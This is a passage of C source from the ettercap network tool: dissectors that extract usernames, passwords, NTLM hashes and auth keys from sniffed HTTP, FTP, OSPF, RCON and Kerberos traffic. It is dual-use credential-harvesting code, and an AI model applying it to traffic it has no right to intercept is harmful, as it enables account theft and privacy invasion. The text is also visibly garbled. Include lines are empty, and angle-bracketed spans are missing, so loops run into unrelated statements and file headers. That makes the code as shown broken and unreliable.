SAFE_FREE(ident); return 1; } } } else if (FROM_CLIENT("proxy", po) && !strncmp(ptr, "CONNECT ", 8)) { dissect_create_session(&s, po, DISSECT_CODE(dissector_http)); SAFE_CALLOC(s->data, 1, sizeof(struct http_status)); conn_status = (struct http_status *) s->data; conn_status->c_status = PROXY_WAIT_OK; session_put(s); } SAFE_FREE(ident); if (conn_status && (conn_status->c_status == PROXY_WAIT_DELIMITER || conn_status->c_status == PROXY_WAIT_OK)) return 1; return 0; } /* Get the server banner from the headers */ static void Get_Banner(char *ptr, struct packet_object *po) { char *start, *end; u_int32 len; /* This is the banner of the remote * server and not of the proxy */ DEBUG_MSG("http - GET BANNER"); if (FROM_SERVER("proxy", po)) po->DISSECTOR.banner=strdup("Proxy"); else { /* Get the server version */ if ((start = strstr(ptr, "Server: ")) && (end = strstr(start, "\r"))) { start += strlen("Server: "); len = end - start; if (len>0 && len<1024) { SAFE_CALLOC(po->DISSECTOR.banner, len+1, sizeof(char)); memcpy(po->DISSECTOR.banner, start, len); } } } } /* Parse Passport Authentication */ static int Parse_Passport_Auth(char *from_here, struct packet_object *po) { char *token, *to_decode, *tok; DEBUG_MSG("HTTP --> dissector http (Passport Auth)"); if (!(to_decode = strdup(from_here))) return 1; if ( (token = strstr(to_decode, "OrgURL=")) == NULL ) { SAFE_FREE(to_decode); return 1; } /* Catch the original URL */ ec_strtok(token, ",", &tok); po->DISSECTOR.info = strdup(token + strlen("OrgURL=")); Decode_Url(po->DISSECTOR.info); /* Catch user and password */ while ( (token = ec_strtok(NULL, ",", &tok)) != NULL ) { if (!strncmp(token, "sign-in=", strlen("sign-in="))) { po->DISSECTOR.user = strdup(token + strlen("sign-in=")); Decode_Url(po->DISSECTOR.user); } else if (!strncmp(token, "pwd=", strlen("pwd="))) { po->DISSECTOR.pass = strdup(token + strlen("pwd=")); Decode_Url(po->DISSECTOR.pass); /* password is the last interesting field */ break; } } Print_Pass(po); SAFE_FREE(to_decode); return 1; } /* Parse Basic Authentication for both Proxy and WWW Auth */ static int Parse_Basic_Auth(char *ptr, char *from_here, struct packet_object *po) { int Proxy_Auth = 0; char *to_decode, *tok; char *user, *pass; DEBUG_MSG("HTTP --> dissector http (Basic Auth)"); /* If it's a proxy auth and we are not interested on proxy stuff * return 0, so the dissector will continue to parse GET and POST */ /* It stands for both Proxy-Authenticate and Authorization ;) */ if (strstr(ptr, "Proxy-Auth") || strstr(ptr, "Proxy-auth")) { if (FROM_CLIENT("proxy", po)) Proxy_Auth = 1; else return 0; } if (!(to_decode = strdup(from_here))) return 1; ec_strtok(to_decode, "\r", &tok); char *decoded; base64decode(to_decode, &decoded); DEBUG_MSG("Clear text AUTH: %s", decoded); /* clear text should be username:password * this means that we must find the first instance of : * token shoul dbe username, and decoded should just be the password */ /* Parse the cleartext auth string */ pass = NULL; user = ec_strtok(decoded, ":", &pass); if (pass != NULL && user != NULL) { po->DISSECTOR.user = strdup(user); po->DISSECTOR.pass = strdup(pass); /* Are we authenticating to the proxy or to a website? */ if (Proxy_Auth) po->DISSECTOR.info = strdup("Proxy Authentication"); else Find_Url(ptr, &(po->DISSECTOR.info)); Print_Pass(po); } SAFE_FREE(decoded); SAFE_FREE(to_decode); return 1; } static int Parse_User_Agent(char* end, char *from_here, struct packet_object *po) { // find the end of the line const char* line_end = (const char*)memchr(from_here, '\n', end - from_here); if (line_end == NULL) { return 0; } unsigned int line_length = line_end - from_here; const char* comment_begin = (const char*)memchr(from_here, '(', line_length); if (comment_begin == NULL || ((comment_begin + 1) >= end)) { // no comments found return 0; } ++comment_begin; const char* comment_end = (const char*)memchr(comment_begin, ')', line_end - comment_begin); if (comment_end == NULL) { // couldn't find the close on the comment return 0; } const char* os = NULL; while (os == NULL && comment_begin != NULL) { unsigned int comment_length = comment_end - comment_begin; if ((comment_length > 10 && strncmp(comment_begin, "Windows NT", 10) == 0) || (comment_length > 9 && strncmp(comment_begin, "Intel Mac", 9) == 0) || (comment_length > 7 && strncmp(comment_begin, "PPC Mac", 7) == 0) || (comment_length > 10 && strncmp(comment_begin, "CPU iPhone", 10) == 0) || (comment_length > 8 && strncmp(comment_begin, "Android", 7) == 0) || (comment_length > 5 && strncmp(comment_begin, "CrOS", 4) == 0) || // Chrome OS (comment_length > 5 && strncmp(comment_begin, "Linux", 5) == 0)) { os = comment_begin; } if (os == NULL) { comment_begin = memchr(comment_begin, ';', comment_end - comment_begin); if (comment_begin != NULL && ((comment_begin + 2) < comment_end)) { // skip the ; and the ' ' comment_begin += 2; } else { comment_begin = NULL; } } else { const char* the_end = memchr(comment_begin, ';', comment_end - comment_begin); if (the_end != NULL) { comment_end = the_end; } SAFE_CALLOC(po->DISSECTOR.os, 1, (comment_end - os) + 1); memcpy(po->DISSECTOR.os, os, comment_end - os); po->DISSECTOR.os[comment_end - os] = 0; } } // always return 0 so the main loop drops down to get/post return 0; } /* Parse NTLM challenge and response for both Proxy and WWW Auth */ static int Parse_NTLM_Auth(char *ptr, char *from_here, struct packet_object *po) { char *to_decode, msgType, *tok; tSmbStdHeader *hSmb; int Proxy_Auth = 0; void *ident = NULL; struct ec_session *s = NULL; struct http_status *conn_status; DEBUG_MSG("HTTP --> dissector http (NTLM Auth)"); /* If it's a proxy auth and we are not interested on proxy stuff * return 0, so the dissector will continue to parse GET and POST */ /* It stands for both Proxy-Authenticate and Authorization ;) */ if (strstr(ptr, "Proxy-Auth") || strstr(ptr, "Proxy-auth")) { if (FROM_CLIENT("proxy", po) || FROM_SERVER("proxy", po)) Proxy_Auth = 1; else return 0; } if (!(to_decode = strdup(from_here))) return 1; ec_strtok(to_decode, "\r", &tok); char *decoded; base64decode(to_decode, &decoded); hSmb = (tSmbStdHeader *) decoded; msgType = IVAL(&hSmb->msgType, 0); /* msgType 2 -> Server challenge * msgType 3 -> Client response */ if (msgType==2) { tSmbNtlmAuthChallenge *challenge_struct; challenge_struct = (tSmbNtlmAuthChallenge *) decoded; /* Create a session to remember the server challenge */ dissect_create_session(&s, po, DISSECT_CODE(dissector_http)); SAFE_CALLOC(s->data, 1, sizeof(struct http_status)); conn_status = (struct http_status *) s->data; conn_status->c_status = NTLM_WAIT_RESPONSE; dumpRaw((char*)conn_status->c_data, challenge_struct->challengeData, 8); session_put(s); } else if (msgType==3) { tSmbNtlmAuthResponse *response_struct; char *outstr; /* Take the challenge from the session */ dissect_create_ident(&ident, po, DISSECT_CODE(dissector_http)); if (session_get_and_del(&s, ident, DISSECT_IDENT_LEN) == E_SUCCESS) { conn_status = (struct http_status *) s->data; /* Are we waiting for client response? */ /* XXX- POST Continuation may conflict with NTLM Proxy auth * if the client doesn't send Proxy-Authorization in the same * packet as the POST */ if (conn_status->c_status == NTLM_WAIT_RESPONSE) { /* Fill the user and passwords */ response_struct = (tSmbNtlmAuthResponse *) to_decode; po->DISSECTOR.user = strdup(GetUnicodeString(response_struct, uUser)); SAFE_CALLOC(po->DISSECTOR.pass, strlen(po->DISSECTOR.user) + 150, sizeof(char)); snprintf(po->DISSECTOR.pass, strlen(po->DISSECTOR.user) + 150, "(NTLM) %s:\"\":\"\":", po->DISSECTOR.user); outstr = po->DISSECTOR.pass + strlen(po->DISSECTOR.pass); dumpRaw(outstr,((unsigned char*)response_struct)+IVAL(&response_struct->lmResponse.offset,0), 24); outstr[48] = ':'; outstr+=49; dumpRaw(outstr,((unsigned char*)response_struct)+IVAL(&response_struct->ntResponse.offset,0), 24); outstr[48] = ':'; outstr += 49; strcat(po->DISSECTOR.pass, (const char*)conn_status->c_data); /* Are we authenticating to the proxy or to a website? */ if (Proxy_Auth) po->DISSECTOR.info = strdup("Proxy Authentication"); else Find_Url(ptr, &(po->DISSECTOR.info)); Print_Pass(po); } session_free(s); } SAFE_FREE(ident); } SAFE_FREE(to_decode); SAFE_FREE(decoded); return 1; } /* Deal with POST continuation */ static void Parse_Post_Payload(char *ptr, struct http_status *conn_status, struct packet_object *po) { char *user=NULL, *pass=NULL; u_char user_res, pass_res; DEBUG_MSG("HTTP - Parse First chance"); if (conn_status->c_status == POST_WAIT_DELIMITER) if ((ptr = strstr(ptr, "\r\n\r\n"))) { ptr+=4; conn_status->c_status = POST_LAST_CHANCE; } DEBUG_MSG("HTTP - Parse Last chance"); if (conn_status->c_status == POST_LAST_CHANCE) { DEBUG_MSG("HTTP - Parse Form"); user_res= Parse_Form(ptr, &user, USER); pass_res= Parse_Form(ptr, &pass, PASS); if (user_res || pass_res) { po->DISSECTOR.user = user; po->DISSECTOR.pass = pass; po->DISSECTOR.content = strdup((const char*) ptr); po->DISSECTOR.info = strdup((const char*)conn_status->c_data); dissect_wipe_session(po, DISSECT_CODE(dissector_http)); Print_Pass(po); } else { SAFE_FREE(user); SAFE_FREE(pass); } } } /* Parse the POST header */ static void Parse_Method_Post(char *ptr, struct packet_object *po) { char *url = NULL; struct ec_session *s = NULL; struct http_status *conn_status; DEBUG_MSG("HTTP --> dissector http (method POST)"); Find_Url_Referer(ptr, &url); /* We create a session just in case the post was * fragmented into more packets. The session will be * wiped on HTTP server reply. */ dissect_create_session(&s, po, DISSECT_CODE(dissector_http)); SAFE_CALLOC(s->data, 1, sizeof(struct http_status)); conn_status = (struct http_status *) s->data; conn_status->c_status = POST_WAIT_DELIMITER; strlcpy((char*)conn_status->c_data, url, sizeof(conn_status->c_data)); session_put(s); Parse_Post_Payload(ptr, conn_status, po); SAFE_FREE(url); } /* Search for passwords in the URL */ static void Parse_Method_Get(char *ptr, struct packet_object *po) { char *to_parse = NULL; char *delimiter = NULL; char *user = NULL; char *pass = NULL; DEBUG_MSG("HTTP --> dissector http (method GET)"); /* Isolate the parameters and copy them into another string */ if (!(to_parse = strstr(ptr, "?"))) return; if (!(to_parse = strdup(to_parse))) return; if (!(delimiter = strstr(to_parse, " HTTP"))) goto http_get_failure; /* NULL terminate the newly created parameter string */ *delimiter = 0; /* Let's parse the parameter list */ if (!Parse_Form(to_parse, &user, USER) || !Parse_Form(to_parse, &pass, PASS)) { SAFE_FREE(user); goto http_get_failure; } po->DISSECTOR.user = user; po->DISSECTOR.pass = pass; /* Fill the info with the URL */ Find_Url_Referer(ptr, &(po->DISSECTOR.info)); Print_Pass(po); http_get_failure: SAFE_FREE(to_parse); } /* Match users or passwords in a string */ static u_char Parse_Form(char *to_parse, char **ret, int mode) { char *q; struct http_field_entry *d; /* Strip the '?' from a GET method */ if (*to_parse == '?') to_parse++; if (*to_parse == 0) return 0; /* Search for users or passwords */ /* Search matches between each parameter and * recognized users and passwords */ SLIST_FOREACH(d, &(http_fields[mode]), next) { q = to_parse; do { if (*q == '&') q++; if (!strncasecmp(q, d->name, strlen(d->name)) && *(q+strlen(d->name)) == '=' ) { /* Return the value past the '=' */ if (!(*ret = strdup(q + strlen(d->name) + 1))) return 0; /* NULL terminate the value if it's not the last */ if ((q = strchr(*ret, '&'))) *q = 0; Decode_Url(*ret); return 1; } } while ( (q = strchr(q, '&')) ); } return 0; } /* Unescape the string */ static void Decode_Url(char *src) { char t[3]; u_int32 i, j, ch; /* Paranoid test */ if (!src) return; /* NULL terminate for the strtoul */ t[2] = 0; for (i=0, j=0; src[i] != 0; i++, j++) { ch = (u_int32)src[i]; if (ch == '%' && isxdigit((u_int32)src[i + 1]) && isxdigit((u_int32)src[i + 2])) { memcpy(t, src+i+1, 2); ch = strtoul(t, NULL, 16); i += 2; } src[j] = (char)ch; } src[j] = 0; } /* Gets the URL from the headers */ static void Find_Url_Referer(char *to_parse, char **ret) { char *fromhere, *page=NULL, *host=NULL; u_int32 len; char *tok; /* If the referer exists */ if ((fromhere = strstr(to_parse, "Referer: "))) { if ((*ret = strdup(fromhere + strlen("Referer: ")))) ec_strtok(*ret, "\r", &tok); } else { /* Get the page from the request */ page = strdup(to_parse); ec_strtok(page, " HTTP", &tok); /* If the path is relative, search for the Host */ if ((*page=='/') && (fromhere = strstr(to_parse, "Host: "))) { host = strdup( fromhere + strlen("Host: ") ); ec_strtok(host, "\r", &tok); } else host = strdup(""); len = strlen(page) + strlen(host) + 2; SAFE_CALLOC(*ret, len, sizeof(char)); snprintf(*ret, len, "%s%s", host, page); SAFE_FREE(page); SAFE_FREE(host); } Decode_Url(*ret); } /* Gets the URL from the request */ static void Find_Url(char *to_parse, char **ret) { char *fromhere, *page=NULL, *host=NULL; u_int32 len; char *tok; if (!strncmp(to_parse, "GET ", 4)) to_parse += strlen("GET "); else if (!strncmp(to_parse, "POST ", 5)) to_parse += strlen("POST "); else return; /* Get the page from the request */ page = strdup(to_parse); ec_strtok(page, " HTTP", &tok); /* If the path is relative, search for the Host */ if ((*page=='/') && (fromhere = strstr(to_parse, "Host: "))) { host = strdup( fromhere + strlen("Host: ") ); ec_strtok(host, "\r", &tok); } else host = strdup(""); len = strlen(page) + strlen(host) + 2; SAFE_CALLOC(*ret, len, sizeof(char)); snprintf(*ret, len, "%s%s", host, page); SAFE_FREE(page); SAFE_FREE(host); Decode_Url(*ret); } /* Print the passwords from the PO */ static void Print_Pass(struct packet_object *po) { char tmp[MAX_ASCII_ADDR_LEN]; if (!po->DISSECTOR.user) po->DISSECTOR.user = strdup(""); if (!po->DISSECTOR.pass) po->DISSECTOR.pass = strdup(""); DISSECT_MSG("HTTP : %s:%d -> USER: %s PASS: %s INFO: %s\n", ip_addr_ntoa(&po->L3.dst, tmp), ntohs(po->L4.dst), po->DISSECTOR.user, po->DISSECTOR.pass, po->DISSECTOR.info); if (po->DISSECTOR.content) DISSECT_MSG("CONTENT: %s\n\n", po->DISSECTOR.content); } /* Load known user/pass fields from file */ int http_fields_init(void) { FILE *f; struct http_field_entry *d; char line[128]; char *ptr; int pass_flag = USER; /* open the file */ f = open_data("share", ETTER_FIELDS, FOPEN_READ_TEXT); if (f == NULL) { USER_MSG("Cannot open %s\n", ETTER_FIELDS); return -E_INVALID; } /* load it in the list */ while (fgets(line, 128, f)) { /* trim comments */ if ( (ptr = strchr(line, '#')) ) *ptr = 0; /* trim \n */ if ( (ptr = strchr(line, '\n')) ) *ptr = 0; /* trim ' ' */ if ( (ptr = strchr(line, ' ')) ) *ptr = 0; /* skip empty lines */ if (!strlen(line)) continue; /* Identify the section */ if(!strncmp(line, "[USER]", 6)) { pass_flag = USER; continue; } if(!strncmp(line, "[PASS]", 6)) { pass_flag = PASS; continue; } /* create the entry */ SAFE_CALLOC(d, 1, sizeof(struct http_field_entry)); d->name = strdup(line); /* insert in the right list */ SLIST_INSERT_HEAD(&(http_fields[pass_flag]), d, next); } fclose(f); return E_SUCCESS; } /* A little helper function */ static void dumpRaw(char *str, unsigned char *buf, size_t len) { u_int32 i; for (i=0; i #include #include #define OSPF_NO_AUTH 0 #define OSPF_AUTH 1 // OSPF_AUTH_SIMPLE #define OSPF_AUTH_CRYPTOGRAPHIC 2 /* borrowed from GNU Zebra project */ #define BUFSIZE 2048 /* big enough for OSPF */ #define OSPF_HEADER_SIZE 24U #define OSPF_AUTH_SIMPLE_SIZE 8U #define OSPF_AUTH_MD5_SIZE 16U #define OSPF_AUTH_HMAC_SHA1_SIZE 20U #define OSPF_AUTH_HMAC_SHA256_SIZE 32U #define OSPF_AUTH_HMAC_SHA384_SIZE 48U #define OSPF_AUTH_HMAC_SHA512_SIZE 64U struct ospf_header { u_int8 version; /* OSPF Version. */ u_int8 type; /* Packet Type. */ u_int16 length; /* Packet Length. */ struct in_addr router_id; /* Router ID. */ struct in_addr area_id; /* Area ID. */ u_int16 checksum; /* Check Sum. */ u_int16 auth_type; /* Authentication Type. */ /* Authentication Data. */ union { /* Simple Authentication. */ u_char auth_data [OSPF_AUTH_SIMPLE_SIZE]; /* Cryptographic Authentication. */ struct { u_int16_t zero; /* Should be 0. */ u_char key_id; /* Key ID. */ u_char auth_data_len; /* Auth Data Length. */ u_int32_t crypt_seqnum; /* Cryptographic Sequence Number. */ } crypt; } u; }; /* protos */ FUNC_DECODER(dissector_ospf); void ospf_init(void); /************************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init ospf_init(void) { dissect_add("ospf", PROTO_LAYER, NL_TYPE_OSPF, dissector_ospf); } /* * the passwords collected by ospf will not be logged * in logfile since it is not over TCP or UDP. * anyway we can print them in the user message window */ FUNC_DECODER(dissector_ospf) { // DECLARE_DISP_PTR_END(ptr, end); // this is broken! u_int8 *ptr = buf; char tmp[MAX_ASCII_ADDR_LEN]; char pass[12]; /* don't complain about unused var */ (void) DECODED_LEN; // (void)end; /* skip empty packets */ // if (PACKET->DATA.len == 0) { // this is broken! if (buflen == 0) { return NULL; } DEBUG_MSG("OSPF --> dissector_ospf"); struct ospf_header *ohdr = (struct ospf_header *)ptr; /* authentication */ if ( ntohs(ohdr->auth_type) == OSPF_AUTH_CRYPTOGRAPHIC ) { unsigned int i = 0; unsigned int length = ntohs(ohdr->length); unsigned auth_data_len = ohdr->u.crypt.auth_data_len; int type = 0; /* validate the packet */ if (length * 2 > BUFSIZE) return NULL; if (length > buflen) return NULL; if (auth_data_len == OSPF_AUTH_MD5_SIZE) { DISSECT_MSG("OSPF-%s-%d:$netmd5$", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst)); } else if (auth_data_len == OSPF_AUTH_HMAC_SHA1_SIZE) { type = 1; } else if (auth_data_len == OSPF_AUTH_HMAC_SHA256_SIZE) { type = 2; } else if (auth_data_len == OSPF_AUTH_HMAC_SHA384_SIZE) { type = 3; } else if (auth_data_len == OSPF_AUTH_HMAC_SHA512_SIZE) { type = 4; } else { return NULL; } if (type != 0) { DISSECT_MSG("OSPF-%s-%d:$ospf$%d$", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), type); } for (i=0; iauth_type) == OSPF_AUTH ) { /* Simple Authentication */ DEBUG_MSG("\tDissector_ospf PASS"); /* * we use a local variable since this does * not need to reach the top half */ char o[OSPF_AUTH_SIMPLE_SIZE]; snprintf(o, OSPF_AUTH_SIMPLE_SIZE, "%s", ohdr->u.auth_data); strncpy(pass, o, OSPF_AUTH_SIMPLE_SIZE); DISSECT_MSG("OSPF : %s:%d -> AUTH: %s \n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), pass); } /* no authentication */ else if ( ntohs(ohdr->auth_type) == OSPF_NO_AUTH ) { DEBUG_MSG("\tDissector_ospf NO AUTH"); strncpy(pass, "No Auth", 8); DISSECT_MSG("OSPF : %s:%d -> AUTH: %s \n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), pass); } return NULL; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/dissectors/ec_rcon.c0000644000175000017500000000610413505247364017722 0ustar koeppeakoeppea/* ettercap -- dissector RCON -- UDP 27015 27960 Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include /* protos */ FUNC_DECODER(dissector_rcon); void rcon_init(void); /************************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init rcon_init(void) { dissect_add("rcon", APP_LAYER_UDP, 27015, dissector_rcon); /* half life */ dissect_add("rcon", APP_LAYER_UDP, 27960, dissector_rcon); /* quake 3 */ } FUNC_DECODER(dissector_rcon) { DECLARE_DISP_PTR_END(ptr, end); char tmp[MAX_ASCII_ADDR_LEN]; /* don't complain about unused var */ (void) DECODE_DATA; (void) DECODE_DATALEN; (void) DECODED_LEN; /* skip messages coming from the server */ if (FROM_SERVER("rcon", PACKET)) return NULL; /* skip empty packets (ACK packets) */ if (PACKET->DATA.len == 0) return NULL; DEBUG_MSG("RCON --> UDP dissector_rcon"); /* * format of an rcon-command: * * 0xFF 0xFF 0xFF 0xFF "RCON authkey command" */ /* not a good packet */ if (memcmp(ptr, "\xff\xff\xff\xff", 4)) return NULL; ptr += 4; if ( !strncasecmp((const char*)ptr, "rcon", 4) ) { u_char *q; DEBUG_MSG("\tDissector_rcon RCON command\n"); ptr += 4; /* skip the whitespaces at the beginning */ while(*ptr == ' ' && ptr != end) ptr++; /* reached the end */ if (ptr == end) return NULL; q = ptr; /* move after the authkey */ while(*q != ' ' && q != end) q++; /* reached the end */ if (q == end) return NULL; PACKET->DISSECTOR.user = strdup("RCON"); SAFE_CALLOC(PACKET->DISSECTOR.pass, q - ptr + 1, sizeof(char)); strlcpy(PACKET->DISSECTOR.pass, (const char*)ptr, q - ptr + 1); SAFE_CALLOC(PACKET->DISSECTOR.info, strlen((const char*)q) + 1, sizeof(char)); snprintf(PACKET->DISSECTOR.info, strlen((const char*)q) + 1, "%s", q); DISSECT_MSG("RCON : %s:%d -> AUTHKEY: %s COMMAND: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), PACKET->DISSECTOR.pass, PACKET->DISSECTOR.info); } return NULL; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/dissectors/ec_kerberos.c0000644000175000017500000001006413505247364020575 0ustar koeppeakoeppea/* ettercap -- dissector for Kerberos v5 - TCP 88 / UDP 88 Copyright (C) Dhiru Kholia (dhiru at openwall.com) This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include /* protos */ FUNC_DECODER(dissector_kerberos); void kerberos_init(void); void __init kerberos_init(void) { dissect_add("kerberosu", APP_LAYER_UDP, 88, dissector_kerberos); dissect_add("kerberost", APP_LAYER_TCP, 88, dissector_kerberos); } /* https://cwiki.apache.org/confluence/display/DIRxASN1/Kerberos KDC-REQ ::= SEQUENCE { -- NOTE: first tag is [1], not [0] pvno [1] INTEGER (5) , msg-type [2] INTEGER (10 -- AS -- | 12 -- TGS --), padata [3] SEQUENCE OF PA-DATA OPTIONAL -- NOTE: not empty --, req-body [4] KDC-REQ-BODY } KDC-REQ-BODY ::= SEQUENCE { kdc-options [0] KDCOptions, cname [1] PrincipalName OPTIONAL -- Used only in AS-REQ --, realm [2] Realm -- Server's realm -- Also client's in AS-REQ --, sname [3] PrincipalName OPTIONAL, from [4] KerberosTime OPTIONAL, till [5] KerberosTime, rtime [6] KerberosTime OPTIONAL, nonce [7] UInt32, etype [8] SEQUENCE OF Int32 -- EncryptionType -- in preference order --, addresses [9] HostAddresses OPTIONAL, enc-authorization-data [10] EncryptedData OPTIONAL -- AuthorizationData --, additional-tickets [11] SEQUENCE OF Ticket OPTIONAL -- NOTE: not empty } AS-REQ ::= [APPLICATION 10] KDC-REQ */ FUNC_DECODER(dissector_kerberos) { u_char *ptr; ptr = PACKET->DATA.data; struct asn1_hdr hdr; size_t length = PACKET->DATA.len; u_char *pos, *end; /* don't complain about unused var */ (void)DECODE_DATA; (void)DECODE_DATALEN; (void)DECODED_LEN; if (length < 4) return NULL; /* Check for initial AS-REQ packet */ if (FROM_CLIENT("kerberosu", PACKET) || FROM_CLIENT("kerberost", PACKET)) { pos = ptr; // APPLICATION 10 if (asn1_get_next(pos, length, &hdr) < 0 || hdr.class != ASN1_CLASS_APPLICATION || hdr.tag != 10) { // Hack to skip over "Record Mark" pos = pos + 4; if (asn1_get_next(pos, length, &hdr) < 0 || hdr.class != ASN1_CLASS_APPLICATION || hdr.tag != 10) { return NULL; } } pos = hdr.payload; end = pos + hdr.length; if (end > pos + PACKET->DATA.len) return NULL; // KDC-REQ SEQUENCE if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { return NULL; } pos = hdr.payload; // Seems like an AS-REQ message hook_point(HOOK_PROTO_KRB5, PACKET); } else { // KDC to client packet. BUG: if packet is modified here, then // we get invalid UDP checksums on the client side! } return NULL; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/dissectors/ec_ftp.c0000644000175000017500000001077713505247364017565 0ustar koeppeakoeppea/* ettercap -- dissector FTP -- TCP 21 990 Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include /* protos */ FUNC_DECODER(dissector_ftp); void ftp_init(void); /************************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init ftp_init(void) { dissect_add("ftp", APP_LAYER_TCP, 21, dissector_ftp); sslw_dissect_add("ftps", 990, dissector_ftp, SSL_ENABLED); } FUNC_DECODER(dissector_ftp) { DECLARE_DISP_PTR_END(ptr, end); struct ec_session *s = NULL; void *ident = NULL; char tmp[MAX_ASCII_ADDR_LEN]; /* don't complain about unused var */ (void) DECODE_DATA; (void) DECODE_DATALEN; (void) DECODED_LEN; /* the connection is starting... create the session */ CREATE_SESSION_ON_SYN_ACK("ftp", s, dissector_ftp); /* check if it is the first packet sent by the server */ IF_FIRST_PACKET_FROM_SERVER("ftp", s, ident, dissector_ftp) { DEBUG_MSG("\tdissector_ftp BANNER"); /* * get the banner * ptr + 4 to skip the initial 220 response */ if (!strncmp((const char*)ptr, "220", 3)) { PACKET->DISSECTOR.banner = strdup((const char*)ptr + 4); /* remove the \r\n */ if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.banner, '\r')) != NULL ) *ptr = '\0'; } } ENDIF_FIRST_PACKET_FROM_SERVER(s, ident) /* skip empty packets (ACK packets) */ if (PACKET->DATA.len == 0) return NULL; /* skip messages coming from the server */ if (FROM_SERVER("ftp", PACKET)) return NULL; DEBUG_MSG("FTP --> TCP dissector_ftp"); /* skip the whitespaces at the beginning */ while(*ptr == ' ' && ptr != end) ptr++; /* reached the end */ if (ptr == end) return NULL; /* harvest the username */ if ( !strncasecmp((const char*)ptr, "USER ", 5) ) { DEBUG_MSG("\tDissector_FTP USER"); /* create the session */ dissect_create_session(&s, PACKET, DISSECT_CODE(dissector_ftp)); ptr += 5; /* if not null, free it */ SAFE_FREE(s->data); /* fill the session data */ s->data = strdup((const char*)ptr); s->data_len = strlen((const char*)ptr); if ( (ptr = (u_char*)strchr(s->data,'\r')) != NULL ) *ptr = '\0'; /* save the session */ session_put(s); return NULL; } /* harvest the password */ if ( !strncasecmp((const char*)ptr, "PASS ", 5) ) { DEBUG_MSG("\tDissector_FTP PASS"); ptr += 5; /* create an ident to retrieve the session */ dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_ftp)); /* retrieve the session and delete it */ if (session_get_and_del(&s, ident, DISSECT_IDENT_LEN) == -E_NOTFOUND) { SAFE_FREE(ident); return NULL; } /* check that the user was sent before the pass */ if (s->data == NULL) { SAFE_FREE(ident); return NULL; } /* fill the structure */ PACKET->DISSECTOR.user = strdup(s->data); PACKET->DISSECTOR.pass = strdup((const char*)ptr); if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.pass, '\r')) != NULL ) *ptr = '\0'; /* free the session */ session_free(s); SAFE_FREE(ident); DISSECT_MSG("FTP : %s:%d -> USER: %s PASS: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), PACKET->DISSECTOR.user, PACKET->DISSECTOR.pass); return NULL; } return NULL; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/dissectors/ec_mdns.c0000644000175000017500000001131313505247364017720 0ustar koeppeakoeppea/* ettercap -- dissector for multicast DNS This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include FUNC_DECODER(dissector_mdns); void mdns_init(void); static void handle_ipv4_record(char* name, char* ptr); static void handle_ipv6_record(char* name, char* ptr); static void handle_srv_record(char* name, char* port_ptr, struct packet_object *po); static const char local_tcp[] = "._tcp.local"; static const char local_udp[] = "._udp.local"; /************************************************/ void __init mdns_init(void) { dissect_add("mdns", APP_LAYER_UDP, 5353, dissector_mdns); } FUNC_DECODER(dissector_mdns) { uint16_t questions = 0; uint16_t records = 0; unsigned char* start = NULL; char name[NS_MAXDNAME]; DECLARE_DISP_PTR_END(ptr, end); // unused param supression (void)buf; (void)buflen; (void)len; // skip packets which are not useful if (PACKET->DATA.len <= 12) return NULL; PACKET->PASSIVE.flags |= FP_HOST_LOCAL; questions = ntohs(*((uint16_t*)ptr + 4)); hook_point(HOOK_PROTO_MDNS, PACKET); if (questions > 0) { //skip packets with questions for now. Makes parsing easier return NULL; } records += ntohs(*((uint16_t*)(ptr + 6))); records += ntohs(*((uint16_t*)(ptr + 8))); records += 